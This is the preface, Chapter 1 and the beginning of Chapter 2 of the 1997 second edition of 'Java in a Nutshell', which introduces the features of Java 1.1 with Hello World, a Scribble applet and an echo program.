The many changes in Java 1.1 have resulted in changes to this book. The most significant change since the first edition is a direct result of the large size of Java 1.1: Java has grown too large to fit in a single book, even in quick-reference form. Thus, we need to split Java in a Nutshell into multiple volumes. This volume, the "original" Java in a Nutshell documents the most commonly used features of Java, and it is an indispensable volume for all Java programmers.

We are planning to publish a separate volume that covers the Java "Enterprise APIs," which include the database connectivity, remote method invocation, and security features of Java 1.1, as well as other forthcoming components, such as CORBA IDL support and the electronic commerce framework. And as new Java APIs are developed and released, we may consider adding new volumes to the Java in a Nutshell series.

While I was working on this second edition of Java in a Nutshell, it became clear that, even without the enterprise material, the book was becoming too long. (Too long, that is, to remain a useful quick reference, and too long to keep at an affordable price.) Something had to give. The most logical solution was to remove the example programs, which are tutorial in nature, from the book, which is a quick-reference at heart. However, we didn't want to surprise faithful readers by removing the examples altogether, so we decided to pare down the example chapters to the bare minimum. You'll notice that Part III contains examples of using the new Java 1.1 features, such as the JavaBeans API and object serialization, but it does not contain the majority of the old examples from the first edition. For now, Part III contains useful examples for experienced Java programmers who want to learn about the new features of Java 1.1. When Java 1.2 is released, though, we expect that we will have to remove the example section entirely.

Readers familiar with the first edition of Java in a Nutshell will notice some other changes as well. The table of contents has been rearranged to accommodate all the new material. We've used a new easier-to-read font for code listings. And we've included cross-reference material (that used to be available only in separate index chapters) directly in the quick-reference section, which should make that section substantially more useful. Be sure to read How To Use This Quick Reference at the beginning of the reference section to learn about these and other changes to the quick-reference format.

Previous | Home | Next
Contents of This Book | Book Index | Related Books
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Related Books

Java in a Nutshell

Previous Preface Next

Related Books

O'Reilly & Associates is developing an entire series of books on Java. This series consists of introductory books, reference manuals, and advanced programming guides.

The following books on Java are currently available or due to be released soon from O'Reilly & Associates:

Exploring Java, by Patrick Niemeyer and Joshua Peck

A comprehensive tutorial that provides a practical, hands-on approach to learning Java.

Java Language Reference, by Mark Grand

A complete reference for the Java programming language itself.

Java AWT Reference, by John Zukowski

A complete reference manual for the AWT-related packages in the core Java API.

Java Fundamental Classes Reference, by Mark Grand and Jonathan Knudsen

A complete reference manual for the java.lang, java.io, java.net, java.util packages, among others, in the core Java API.

Java Virtual Machine, by Jon Meyer and Troy Downing

A programming guide and reference manual for the Java Virtual Machine.

Java Threads, by Scott Oaks and Henry Wong

An advanced programming guide to working with threads in Java.

Java Network Programming, by Elliote Rusty Harold

A complete guide to writing sophisticated network applications.

Database Programming with JDBC and Java, by George Reese

An advanced tutorial on JDBC that presents a robust model for developing Java database programs.

Developing Java Beans, by Robert Englander

A complete guide to writing components that work with the JavaBeans API.

Look for additional advanced programming guides on such topics as distributed computing and electronic commerce from O'Reilly in the near future.

Previous | Home | Next
Changes Since the First Edition | Book Index | Java Resources
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Java Resources

Java in a Nutshell

Previous Preface Next

Java Resources

Sun has online reference documentation for the Java API that you may find useful in conjunction with this quick reference handbook. Visit http://www.javasoft.com/ to view or download this API documentation and other useful documents.

There are many other sites on the Web that contain useful Java information. One of the most well-known is http://www.gamelan.com/, also known as http://java.developer.com/. For discussion (in English) about Java, try the various comp.lang.java.* newsgroups.

Previous | Home | Next
Related Books | Book Index | Java in a Nutshell Web Sites
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Java in a Nutshell Web Sites

Java in a Nutshell

Previous Preface Next

Java in a Nutshell Web Sites

The Web site for this book is http://www.ora.com/catalog/books/javanut2/. There you will find the examples from this book, available for download. As typos are reported, you may also find an errata list at that Web site.

My personal Web site is http://www.DavidFlanagan.COM/. This is a new site, just getting off the ground as this book goes to press, but it will eventually contain a number of Java programming resources, including commercial and shareware tools and "beans" that I have written.

Previous | Home | Next
Java Resources | Book Index | Conventions Used in This Book
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Conventions Used in This Book

Java in a Nutshell

Previous Preface Next

Conventions Used in This Book

Italic is used for:

  • Pathnames, filenames, and program names.

  • New terms where they are defined.

  • Internet addresses, such as domain names and URLs.

Boldface is used for:

  • Particular keys on a computer keyboard.

  • Names of user interface buttons and menus.

Constant Width is used for:

  • Anything that appears literally in a Java program, including keywords, data types, constants, method names, variables, class names, and interface names.

  • Command lines and options that should be typed verbatim on the screen.

  • All Java code listings.

  • HTML documents, tags, and attributes.

  • Method parameters, and general placeholders that indicate that an item is replaced by some actual value in your own program.

  • Variable expressions in command-line options.

  • Java class synopses in the quick-reference section. This very narrow font allows us to fit a lot of information on the page without a lot of distracting line breaks.

  • Highlighting class, method, field, and constructor names in the quick-reference section, which makes it easier to scan the class synopses.

  • Method parameter names and comments in the quick-reference section.

Previous | Home | Next
Java in a Nutshell Web Sites | Book Index | Request for Comments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Request for Comments

Java in a Nutshell

Previous Preface Next

Request for Comments

Please help us to improve future editions of this book by reporting any errors, inaccuracies, bugs, misleading or confusing statements, and plain old typos that you find anywhere in this book. Email your bug reports and comments to us at: bookquestions@ora.com. (Before sending a bug report, however, you may want to check for an errata list at http://www.ora.com/catalog/books/javanut2/ to see if the bug has already been submitted.)

Please also let us know what we can do to make this book more useful to you. We take your comments seriously and will try to incorporate reasonable suggestions into future editions.

Previous | Home | Next
Conventions Used in This Book | Book Index | Acknowledgments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Acknowledgments

Java in a Nutshell

Previous Preface Next

Acknowledgments

Many people helped in the creation of this book and I am grateful to them all. I am indebted to literally hundreds of readers of the first edition who wrote in with comments, suggestions, bug reports, and praise. Their many small contributions are scattered throughout the book. Also, my apologies to those who made the many good suggestions that could not be incorporated into this edition.

Paula Ferguson, a friend and colleague, edited both editions of the book. Her careful reading and always-practical suggestions made the book stronger, clearer, and more useful. She is also the one who prodded me when I started to slack off, and got me back on track when I started trying to turn Java in a Nutshell into Java in a Packing Crate.

Mike Loukides provided high-level direction and guidance for the first edition of the book. Eric Raymond and Troy Downing reviewed that first edition--they helped spot my errors and omissions, and offered good advice on making the book more useful to Java programmers.

For the second edition, John Zukowski reviewed my Java 1.1 AWT quick-reference material, and George Reese reviewed most of the remaining new material. This edition was also blessed with a "dream team" of technical reviewers from Sun. John Rose, the author of the Java Inner Classes Specification, reviewed the chapter on inner classes. Mark Reinhold, author of the character stream classes in java.io, reviewed my documentation of these classes. Nakul Saraiya, the designer of the new Java Reflection API, reviewed my documentation of the java.lang.reflect package. I am very grateful to these engineers and architects; their efforts have made this a stronger, more accurate book. Any errors that remain are of course my own.

Nicole Gipson Arigo was the production editor for this edition of the book, taking over the job from John Files, who produced the first edition. Nicole coordinated the entire production process, entered changes from edited copy, and handled the meticulous task of fixing line and page breaks in the manuscript. Madeleine Newell provided production assistance. Clairemarie Fisher O'Leary, Jane Ellin, and Sheryl Avruch performed quality control checks. Seth Maislin wrote the index. Chris Reilley created the figures, including all the detailed class hierarchy diagrams in Part V. [1] Edie Freedman designed the cover. Nancy Priest designed the interior format of the book and Lenny Muellner carefully implemented the format in troff, with help from Ellen Siever.

[1] The hierarchy diagrams are loosely based on similar diagrams for Java 1.0 by Charles L. Perkins.

The whole production team has my thanks for once again pulling together all the pieces to create the finished product you now hold in your hands.

As always, my thanks and love to Christie.

David Flanagan
April 1997

Previous | Home | Next
Request for Comments | Book Index | Getting Started with Java
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] Getting Started with Java

Java in a Nutshell

Previous Chapter 1 Next

1. Getting Started with Java

Contents:
Why Is Java Interesting?
A Simple Example

When it was introduced in late 1995, Java took the Internet by storm. Java 1.1, released in early 1997, nearly doubles the speed of the Java interpreter and includes many important new features. With the addition of APIs to support database access, remote objects, an object component model, internationalization, printing, encryption, digital signatures, and many other technologies, Java is now poised to take the rest of the programming world by storm.

Despite all the hype surrounding Java and the new features of Java 1.1, it's important to remember that at its core, Java is just a programming language, like many others, and its APIs are just class libraries, like those of other languages. What is interesting about Java, and thus the source of much of the hype, is that it has a number of important features that make it ideally suited for programming in the heavily networked, heterogenous world of the late 1990s. The rest of this chapter describes those interesting features of Java and demonstrates some simple Java code. Chapter 4, What's New in Java 1.1 explores the new features that have been added to version 1.1 of the Java API.

1.1 Why Is Java Interesting?

In one of their early papers about the language, Sun described Java as follows:

Java: A simple, object-oriented, distributed, interpreted, robust, secure, architecture neutral, portable, high-performance, multithreaded, and dynamic language.

Sun acknowledges that this is quite a string of buzzwords, but the fact is that, for the most part, they aptly describe the language. In order to understand why Java is so interesting, let's take a look at the language features behind the buzzwords.

Object-Oriented

Java is an object-oriented programming language. As a programmer, this means that you focus on the data in your application and methods that manipulate that data, rather than thinking strictly in terms of procedures. If you're accustomed to procedure-based programming in C, you may find that you need to change how you design your programs when you use Java. Once you see how powerful this new paradigm is, however, you'll quickly adjust to it.

In an object-oriented system, a class is a collection of data and methods that operate on that data. Taken together, the data and methods describe the state and behavior of an object. Classes are arranged in a hierarchy, so that a subclass can inherit behavior from its superclass. A class hierarchy always has a root class; this is a class with very general behavior.

Java comes with an extensive set of classes, arranged in packages, that you can use in your programs. For example, Java provides classes that create graphical user interface components (the java.awt package), classes that handle input and output (the java.io package), and classes that support networking functionality (the java.net package). The Object class (in the java.lang package) serves as the root of the Java class hierarchy.

Unlike C++, Java was designed to be object-oriented from the ground up. Most things in Java are objects; the primitive numeric, character, and boolean types are the only exceptions. Strings are represented by objects in Java, as are other important language constructs like threads. A class is the basic unit of compilation and of execution in Java; all Java programs are classes.

While Java is designed to look like C++, you'll find that Java removes many of the complexities of that language. If you are a C++ programmer, you'll want to study the object-oriented constructs in Java carefully. Although the syntax is often similar to C++, the behavior is not nearly so analogous. For a complete description of the object-oriented features of Java, see Chapter 3, Classes and Objects in Java.

Interpreted

Java is an an interpreted language: the Java compiler generates byte-codes for the Java Virtual Machine (JVM), rather than native machine code. To actually run a Java program, you use the Java interpreter to execute the compiled byte-codes. Because Java byte-codes are platform-independent, Java programs can run on any platform that the JVM (the interpreter and run-time system) has been ported to.

In an interpreted environment, the standard "link" phase of program development pretty much vanishes. If Java has a link phase at all, it is only the process of loading new classes into the environment, which is an incremental, lightweight process that occurs at run-time. This is in contrast with the slower and more cumbersome compile-link-run cycle of languages like C and C++.

Architecture Neutral and Portable

Because Java programs are compiled to an architecture neutral byte-code format, a Java application can run on any system, as long as that system implements the Java Virtual Machine. This is a particularly important for applications distributed over the Internet or other heterogenous networks. But the architecture neutral approach is useful beyond the scope of network-based applications. As an application developer in today's software market, you probably want to develop versions of your application that can run on PCs, Macs, and UNIX workstations. With multiple flavors of UNIX, Windows 95, and Windows NT on the PC, and the new PowerPC Macintosh, it is becoming increasingly difficult to produce software for all of the possible platforms. If you write your application in Java, however, it can run on all platforms.

The fact that Java is interpreted and defines a standard, architecture neutral, byte-code format is one big part of being portable. But Java goes even further, by making sure that there are no "implementation-dependent" aspects of the language specification. For example, Java explicitly specifies the size of each of the primitive data types, as well as its arithmetic behavior. This differs from C, for example, in which an int type can be 16, 32, or 64 bits long depending on the platform.

While it is technically possible to write non-portable programs in Java, it is relatively easy to avoid the few platform-dependencies that are exposed by the Java API and write truly portable or "pure" Java programs. Sun's new "100% Pure Java" program helps developers ensure (and certify) that their code is portable. Programmers need only to make simple efforts to avoid non-portable pitfalls in order to live up to Sun's trademarked motto "Write Once, Run Anywhere."

Dynamic and Distributed

Java is a dynamic language. Any Java class can be loaded into a running Java interpreter at any time. These dynamically loaded classes can then be dynamically instantiated. Native code libraries can also be dynamically loaded. Classes in Java are represented by the Class class; you can dynamically obtain information about a class at run-time. This is especially true in Java 1.1, with the addition of the Reflection API, which is introduced in Chapter 12, Reflection.

Java is also called a distributed language. This means, simply, that it provides a lot of high-level support for networking. For example, the URL class and OArelated classes in the java.net package make it almost as easy to read a remote file or resource as it is to read a local file. Similarly, in Java 1.1, the Remote Method Invocation (RMI) API allows a Java program to invoke methods of remote Java objects, as if they were local objects. (Java also provides traditional lower-level networking support, including datagrams and stream-based connections through sockets.)

The distributed nature of Java really shines when combined with its dynamic class loading capabilities. Together, these features make it possible for a Java interpreter to download and run code from across the Internet. (As we'll see below, Java implements strong security measures to be sure that this can be done safely.) This is what happens when a Web browser downloads and runs a Java applet, for example. Scenarios can be more complicated than this, however. Imagine a multi-media word processor written in Java. When this program is asked to display some type of data that it has never encountered before, it might dynamically download a class from the network that can parse the data, and then dynamically download another class (probably a Java "bean") that can display the data within a compound document. A program like this uses distributed resources on the network to dynamically grow and adapt to the needs of its user.

Simple

Java is a simple language. The Java designers were trying to create a language that a programmer could learn quickly, so the number of language constructs has been kept relatively small. Another design goal was to make the language look familiar to a majority of programmers, for ease of migration. If you are a C or C++ programmer, you'll find that Java uses many of the same language constructs as C and C++.

In order to keep the language both small and familiar, the Java designers removed a number of features available in C and C++. These features are mostly ones that led to poor programming practices or were rarely used. For example, Java does not support the goto statement; instead, it provides labelled break and continue statements and exception handling. Java does not use header files and it eliminates the C preprocessor. Because Java is object-oriented, C constructs like struct and union have been removed. Java also eliminates the operator overloading and multiple inheritance features of C++.

Perhaps the most important simplification, however, is that Java does not use pointers. Pointers are one of the most bug-prone aspects of C and C++ programming. Since Java does not have structures, and arrays and strings are objects, there's no need for pointers. Java automatically handles the referencing and dereferencing of objects for you. Java also implements automatic garbage collection, so you don't have to worry about memory management issues. All of this frees you from having to worry about dangling pointers, invalid pointer references, and memory leaks, so you can spend your time developing the functionality of your programs.

If it sounds like Java has gutted C and C++, leaving only a shell of a programming language, hold off on that judgment for a bit. As we'll see in Chapter 2, How Java Differs from C, Java is actually a full-featured and very elegant language.

Robust

Java has been designed for writing highly reliable or robust software. Java certainly doesn't eliminate the need for software quality assurance; it's still quite possible to write buggy software in Java. However, Java does eliminate certain types of programming errors, which makes it considerably easier to write reliable software.

Java is a strongly typed language, which allows for extensive compile-time checking for potential type-mismatch problems. Java is more strongly typed than C++, which inherits a number of compile-time laxities from C, especially in the area of function declarations. Java requires explicit method declarations; it does not support C-style implicit declarations. These stringent requirements ensure that the compiler can catch method invocation errors, which leads to more reliable programs.

One of the things that makes Java simple is its lack of pointers and pointer arithmetic. This feature also increases the robustness of Java programs by abolishing an entire class of pointer-related bugs. Similarly, all accesses to arrays and strings are checked at run-time to ensure that they are in bounds, eliminating the possibility of overwriting memory and corrupting data. Casts of objects from one type to another are also checked at run-time to ensure that they are legal. Finally, and very importantly, Java's automatic garbage collection prevents memory leaks and other pernicious bugs related to memory allocation and deallocation.

Exception handling is another feature in Java that makes for more robust programs. An exception is a signal that some sort of exceptional condition, such as a "file not found" error, has occurred. Using the try/catch/finally statement, you can group all of your error handling code in one place, which greatly simplifies the task of error handling and recovery.

Secure

One of the most highly touted aspects of Java is that it's a secure language. This is especially important because of the distributed nature of Java. Without an assurance of security, you certainly wouldn't want to download code from a random site on the Internet and let it run on your computer. Yet this is exactly what people do with Java applets every day. Java was designed with security in mind, and provides several layers of security controls that protect against malicious code, and allow users to comfortably run untrusted programs such as applets.

At the lowest level, security goes hand-in-hand with robustness. As we've already seen, Java programs cannot forge pointers to memory, or overflow arrays, or read memory outside of the bounds of an array or string. These features are one of Java's main defenses against malicious code. By totally disallowing any direct access to memory, an entire huge, messy class of security attacks is ruled out.

The second line of defense against malicious code is the byte-code verification process that the Java interpreter performs on any untrusted code it loads. These verification steps ensure that the code is well-formed--that it doesn't overflow or underflow the stack or contain illegal byte-codes, for example. If the byte-code verification step was skipped, inadvertently corrupted or maliciously crafted byte-codes might be able to take advantage of implementation weaknesses in a Java interpreter.

Another layer of security protection is commonly referred to as the "sandbox model": untrusted code is placed in a "sandbox," where it can play safely, without doing any damage to the "real world," or full Java environment. When an applet, or other untrusted code, is running in the sandbox, there are a number of restrictions on what it can do. The most obvious of these restrictions is that it has no access whatsoever to the local file system. There are a number of other restrictions in the sandbox as well. These restrictions are enforced by a SecurityManager class. The model works because all of the core Java classes that perform sensitive operations, such as filesystem access, first ask permission of the currently installed SecurityManager. If the call is being made, directly or indirectly, by untrusted code, the security manager throws an exception, and the operation is not permitted. See Chapter 6, Applets for a complete list of the restrictions placed on applets running in the sandbox.

Finally, in Java 1.1, there is another possible solution to the problem of security. By attaching a digital signature to Java code, the origin of that code can be established in a cryptographically secure and unforgeable way. If you have specified that you trust a person or organization, then code that bears the digital signature of that trusted entity is trusted, even when loaded over the network, and may be run without the restrictions of the sandbox model.

Of course, security isn't a black-and-white thing. Just as a program can never be guaranteed to be 100% bug-free, no language or environment can be guaranteed 100% secure. With that said, however, Java does seem to offer a practical level of security for most applications. It anticipates and defends against most of the techniques that have historically been used to trick software into misbehaving, and it has been intensely scrutinized by security experts and hackers alike. Some security holes were found in early versions of Java, but these flaws were fixed almost as soon as they were found, and it seems reasonable to expect that any future holes will be fixed just as quickly.

High-Performance

Java is an interpreted language, so it is never going to be as fast as a compiled language like C. Java 1.0 was said to be about 20 times slower than C. Java 1.1 is nearly twice as fast as Java 1.0, however, so it might be reasonable to say that compiled C code runs ten times as fast as interpreted Java byte-codes. But before you throw up your arms in disgust, be aware that this speed is more than adequate to run interactive, GUI and network-based applications, where the application is often idle, waiting for the user to do something, or waiting for data from the network. Furthermore, the speed-critical sections of the Java run-time environment, that do things like string concatenation and comparison, are implemented with efficient native code.

As a further performance boost, many Java interpreters now include "just in time" compilers that can translate Java byte-codes into machine code for a particular CPU at run-time. The Java byte-code format was designed with these "just in time" compilers in mind, so the process of generating machine code is fairly efficient and it produces reasonably good code. In fact, Sun claims that the performance of byte-codes converted to machine code is nearly as good as native C or C++. If you are willing to sacrifice code portability to gain speed, you can also write portions of your program in C or C++ and use Java native methods to interface with this native code.

When you are considering performance, it's important to remember where Java falls in the spectrum of available programming languages. At one end of the spectrum, there are high-level, fully-interpreted scripting languages such as Tcl and the UNIX shells. These languages are great for prototyping and they are highly portable, but they are also very slow. At the other end of the spectrum, you have low-level compiled languages like C and C++. These languages offer high performance, but they suffer in terms of reliability and portability. Java falls in the middle of the spectrum. The performance of Java's interpreted byte-codes is much better than the high-level scripting languages (even Perl), but it still offers the simplicity and portability of those languages.

Multithreaded

In a GUI-based network application such as a Web browser, it's easy to imagine multiple things going on at the same time. A user could be listening to an audio clip while she is scrolling a page, and in the background the browser is downloading an image. Java is a multithreaded language; it provides support for multiple threads of execution (sometimes called lightweight processes) that can handle different tasks. An important benefit of multithreading is that it improves the interactive performance of graphical applications for the user.

If you have tried working with threads in C or C++, you know that it can be quite difficult. Java makes programming with threads much easier, by providing built-in language support for threads. The java.lang package provides a Thread class that supports methods to start and stop threads and set thread priorities, among other things. The Java language syntax also supports threads directly with the synchronized keyword. This keyword makes it extremely easy to mark sections of code or entire methods that should only be run by a single thread at a time.

While threads are "wizard-level" stuff in C and C++, their use is commonplace in Java. Because Java makes threads so easy to use, the Java class libraries require their use in a number of places. For example, any applet that performs animation does so with a thread. Similarly, Java does not support asynchronous, non-blocking I/O with notification through signals or interrupts--you must instead create a thread that blocks on every I/O channel you are interested in.

Previous | Home | Next
Acknowledgments | Book Index | A Simple Example
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.2 A Simple Example

Java in a Nutshell

Previous Chapter 1
Getting Started with Java 		Next

1.2 A Simple Example

By now you should have a pretty good idea of why Java is such an interesting language. So we'll stop talking about abstract concepts and look at some concrete Java code. Before we look at an interesting applet, however, we are going to pay tribute to that ubiquitous favorite, "Hello World."

Hello World

Example 1.1 shows the simplest possible Java program: "Hello World."

Example 1.1: Hello World

public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}

This program, like every Java program, consists of a public class definition. The class contains a method named main(), which is the main entry point for all Java applications--that is, the point at which the interpreter starts executing the program. The body of main() consists of only a single line, which prints out the message:

Hello World!

This program must be saved in a file with the same name as the public class plus a .java extension. To compile it, you would use javac: [1]

[1] Assuming you're using Sun's Java Development Kit (JDK). If you're using a Java development environment from some other vendor, follow your vendor's instructions.

% javac HelloWorld.java

This command produces the HelloWorld.class file in the current directory. To run the program, you use the Java interpreter, java:

% java HelloWorld

Note that when you invoke the interpreter, you do not supply the .class extension for the file you want to run.

A Scribble Applet

Example 1.2 shows a less trivial Java program. This program is an applet, rather than a standalone Java application like the "Hello World" program above. Because this example is an applet, it has a different structure than a standalone application; notably, it does not have a main() method. Like all applets, this one runs inside an applet viewer or Web browser, and lets the user draw (or scribble) with the mouse, as illustrated in Figure 1.1.

Figure 1.1: A Java applet running in a Web browser

[Graphic: Figure 1-1]

One of the major changes between Java 1.0 and Java 1.1 is in the way that Java programs are notified of "events", such as mouse motion. Example 1.2 uses the Java 1.0 event model rather than the preferred Java 1.1 event model. This is because the current generation of Web browsers (as this is written) still use Java 1.0. In order for this applet to be widely usable, it is coded with the old, "deprecated" event model. [2]

[2] If you are interested in updating this program to use Java 1.1, see Chapter 7, Events for information on how to use the new 1.1 event model. In addition, you need to change the call to bounds() in the action() method to a call to getBounds(), if you want to avoid a compilation warning about using a deprecated method.

Example 1.2: A Java Applet

import java.applet.*;
import java.awt.*;
public class Scribble extends Applet {
  private int last_x, last_y;                // Store the last mouse position.
  private Color current_color = Color.black; // Store the current color.
  private Button clear_button;               // The clear button.
  private Choice color_choices;              // The color dropdown list.
  // This method is called to initialize the applet.
  // Applets don't have a main() method.
  public void init() {
    // Set the background color.
    this.setBackground(Color.white);
    // Create a button and add it to the applet.  Set the button's colors.
    clear_button = new Button("Clear");
    clear_button.setForeground(Color.black);
    clear_button.setBackground(Color.lightGray);
    this.add(clear_button);
    // Create a menu of colors and add it to the applet.
    // Also set the menu's colors and add a label.
    color_choices = new Choice();
    color_choices.addItem("black");
    color_choices.addItem("red");
    color_choices.addItem("yellow");
    color_choices.addItem("green");
    color_choices.setForeground(Color.black);
    color_choices.setBackground(Color.lightGray);
    this.add(new Label("Color: "));
    this.add(color_choices);
  }
  // This method is called when the user clicks the mouse to start a scribble.
  public boolean mouseDown(Event e, int x, int y)
  {
    last_x = x; last_y = y;
    return true;
  }
  // This method is called when the user drags the mouse.
  public boolean mouseDrag(Event e, int x, int y)
  {
    Graphics g = this.getGraphics();
    g.setColor(current_color);
    g.drawLine(last_x, last_y, x, y);
    last_x = x;
    last_y = y;
    return true;
  }
  // This method is called when the user clicks the button or chooses a color.
  public boolean action(Event event, Object arg) {
    // If the Clear button was clicked on, handle it.
    if (event.target == clear_button) {
      Graphics g = this.getGraphics();
      Rectangle r = this.bounds();
      g.setColor(this.getBackground());
      g.fillRect(r.x, r.y, r.width, r.height);
      return true;
    }
    // Otherwise if a color was chosen, handle that.
    else if (event.target == color_choices) {
      if (arg.equals("black")) current_color = Color.black;
      else if (arg.equals("red")) current_color = Color.red;
      else if (arg.equals("yellow")) current_color = Color.yellow;
      else if (arg.equals("green")) current_color = Color.green;
      return true;
    }
    // Otherwise, let the superclass handle it.
    else return super.action(event, arg);
  }
}

Don't expect to be able to understand the entire applet at this point. It is here to give you the flavor of the language. In Chapter 2, How Java Differs from C and Chapter 3, Classes and Objects in Java we'll explain the language constructs you need to understand the example. Then, in Chapter 6, Applets and Chapter 7, Events we'll explain the applet and event-handling concepts used in this example.

The first thing you should notice when browsing through the code is that it looks reassuringly like C and C++. The if and return statements are familiar. Assignment of values to variables uses the expected syntax. Procedures (called "methods" in Java) are recognizable as such.

The second thing to notice is the object-oriented nature of the code. As you can see at the top of the example, the program consists of the definition of a public class. The name of the class we are defining is Scribble; it is an extension, or subclass, of the Applet class. (The full name of the Applet class is java.applet.Applet. One of the import statements at the top of the example allows us to refer to Applet by this shorter name.)

Classes are said to "encapsulate" data and methods. As you can see, our Scribble class contains both variable and method declarations. The methods are actually defined inside of the class. The methods of a class are often invoked through an instance of the class. Thus you see lines like:

color_choices.addItem("black");

This line of code invokes the addItem() method of the object referred to by the color_choices variable. If you're a C programmer, but not a C++ programmer, this syntax may take a little getting used to. We'll see lots more of it in Chapters 2 and 3. Note that this is a keyword, not a variable name. It refers to the current object; in this example, it refers to the Scribble object.

The init() method of an applet is called by the Web browser or applet viewer when it is starting the applet up. In our example, this method creates a Clear button and a menu of color choices, and then adds these GUI components to the applet.

The mouseDown() and mouseDrag() methods are called when the user clicks and drags the mouse. These are the methods that are responsible for drawing lines as the user scribbles. The action() method is invoked when the user clicks on the Clear button or selects a color from the menu of colors. The body of the method determines which of these two "events" has occurred and handles the event appropriately. Recall that these methods are part of the Java 1.0 event model. Chapter 7, Events explains this model and also explains the Java 1.1 event model that replaces it.

To compile this example, you'd save it in a file named Scribble.java and use javac:

% javac Scribble.java

This example is an applet, not a standalone program like our "Hello World" example. It does not have a main() method, and therefore cannot be run directly by the Java interpreter. Instead, we must reference it in an HTML file and run the applet in an applet viewer or Web browser. It is the applet viewer or Web browser that loads the applet class into its running Java interpreter and invokes the various methods of the applet at the appropriate times. To include the applet in a Web page, we'd use an HTML fragment like the following:

<APPLET code="Scribble.class" width=500 height=300>
</APPLET>

Example 1.3 shows a complete HTML file that we might use to display the applet. Chapter 15, Java-Related HTML Tags explains the HTML syntax for applets in full detail.

Example 1.3: An HTML File that Contains an Applet

<HTML>
<HEAD>
<TITLE>The Scribble Applet</TITLE>
</HEAD>
<BODY>
Please scribble away in the applet below.
<P>
<APPLET code="Scribble.class" width=500 height=300>
Your browser does not support Java, or Java is not enabled. Sorry!
</APPLET>
</BODY>
</HTML>

Suppose we save this example HTML file as Scribble.html. Then to run this applet, you could use Sun's appletviewer command like this:

% appletviewer Scribble.html

You could also display the applet by viewing the Scribble.html file in your Web browser, if your browser supports Java applets. Figure 1.1 showed the Scribble applet running in Netscape Navigator.

Previous | Home | Next
Why Is Java Interesting? | Book Index | How Java Differs from C
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] How Java Differs from C

Java in a Nutshell

Previous Chapter 2 Next

2. How Java Differs from C

Contents:
The Name Space: Packages, Classes, and Members
Comments
No Preprocessor
Unicode and Character Escapes
Primitive Data Types
Reference Data Types
Objects
Arrays
Strings
Operators
Statements
Exceptions and Exception Handling
Miscellaneous Differences

Java is a lot like C, which makes it relatively easy for C programmers to learn. But there are a number of important differences between C and Java, such as the lack of a preprocessor, the use of 16-bit Unicode characters, and the exception handling mechanism. This chapter explains those differences, so that programmers who already know C can start programming in Java right away!

This chapter also points out similarities and differences between Java and C++. C++ programmers should beware, though: While Java borrows a lot of terminology and even syntax from C++, the analogies between Java and C++ are not nearly as strong as those between Java and C. C++ programmers should be careful not to be lulled into a false sense of familiarity with Java just because the languages share a number of keywords.

One of the main areas in which Java differs from C, of course, is that Java is an object-oriented language and has mechanisms to define classes and create objects that are instances of those classes. Java's object-oriented features are a topic for a chapter of their own, and they'll be explained in detail in Chapter 3, Classes and Objects in Java.

2.1 Program Structure and Environment

A program in Java consists of one or more class definitions, each of which has been compiled into its own .class file of Java Virtual Machine object code. One of these classes must define a method main(), which is where the program starts running. [1]

[1] Method is an object-oriented term for a procedure or function. You'll see it used throughout this book.

To invoke a Java program, you run the Java interpreter, java, and specify the name of the class that contains the main() method. You should omit the .class extension when doing this. Note that a Java applet is not an application--it is a Java class that is loaded and run by an already running Java application such as a Web browser or applet viewer.

The main() method that the Java interpreter invokes to start a Java program must have the following prototype:

public static void main(String args[])

The Java interpreter runs until the main() method returns, or until the interpreter reaches the end of main(). If no threads have been created by the program, the interpreter exits. Otherwise, the interpreter continues running until the last thread terminates.

Command-Line Arguments

The single argument to main() is an array of strings, conventionally named args or argv. The length of this array (which would be passed as the argc argument in C) is available as argv.length, as is the case with any Java array. The elements of the array are the arguments, if any, that appeared on the interpreter command line after the class name. Note that the first element of the array is not the name of the class, as a C programmer might expect it to be. Example 2.1 shows how you could write a UNIX-style echo command (a program that simply prints out its arguments) in Java.

Example 2.1: An Echo Program in Java

public class echo {
    public static void main(String argv[]) {
        for(int i=0; i < argv.length; i++)
            System.out.print(argv[i] + " ");
        System.out.print("\n");
        System.exit(0);
    }
}

Program Exit Value

Note that main() must be declared to return void. Thus you cannot return a value from your Java program with a return statement in main(). If you need to return a value, call System.exit() with the desired integer value, as we've done in Example 2.1. Note that the handling and interpretation of this exit value are, of course, operating-system dependent. System.exit() causes the Java interpreter to exit immediately, whether or not other threads are running.

Environment

The Java API does not allow a Java program to read operating system environment variables because they are platform-dependent. However, Java defines a similar, platform-independent mechanism, known as the system properties list, for associating textual values with names.

A Java program can look up the value of a named property with the System.getProperty() method:

String homedir = System.getProperty("user.home");
String debug = System.getProperty("myapp.debug");

The Java interpreter automatically defines a number of standard system properties when it starts up. You can insert additional property definitions into the list by specifying the -D option to the interpreter:

% java -Dmyapp.debug=true myapp

See Chapter 14, System Properties for more information on system properties.

Previous | Home | Next
A Simple Example | Book Index | The Name Space: Packages, Classes, and Members
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.2 The Name Space: Packages, Classes, and Members

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.2 The Name Space: Packages, Classes, and Members

As a language that is designed to support dynamic loading of modules over the entire Internet, Java takes special care to avoid name space conflicts. Global variables are simply not part of the language. Neither are "global" functions or procedures, for that matter.

No Global Variables

In Java, every field and method is declared within a class and forms part of that class. Also, every class is part of a package (in Java 1.1, classes can also be declared within other classes). The fields and methods (and classes in 1.1) of a class are known as the members of a class. Every Java field or method may be referred to by its fully qualified name, which consists of the package name, the class name, and the member name (i.e., the field or the method name), all separated by periods. Package names are themselves usually composed of multiple period-separated components. Thus, the fully qualified name for a method might be:

david.games.tetris.SoundEffects.play()

Java Filenames and Directory Structure

